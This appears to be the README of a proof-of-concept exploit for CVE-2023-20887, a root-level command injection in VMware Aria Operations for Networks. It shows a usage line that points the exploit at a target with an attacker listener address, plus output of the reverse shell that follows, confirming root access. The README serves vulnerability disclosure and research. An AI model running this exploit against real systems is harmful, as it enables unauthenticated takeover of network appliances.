POC for CVE-2023-20887 VMWare Aria Operations for Networks (vRealize Network Insight) unauthenticated RCE

A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/

VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. a malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are vulnerable.

python CVE-2023-20887.py --url https://192.168.116.100 --attacker 192.168.116.1:1337
VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE || Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
(*) Starting handler
(+) Received connection from 192.168.116.100
(+) pop thy shell! (it's ready)
sudo bash
id
uid=0(root) gid=0(root) groups=0(root)
hostname
vrni-platform-release

Update to the latest version or mitigate by following the instructions within the Progress Advisory

• https://www.vmware.com/security/advisories/VMSA-2023-0012.html

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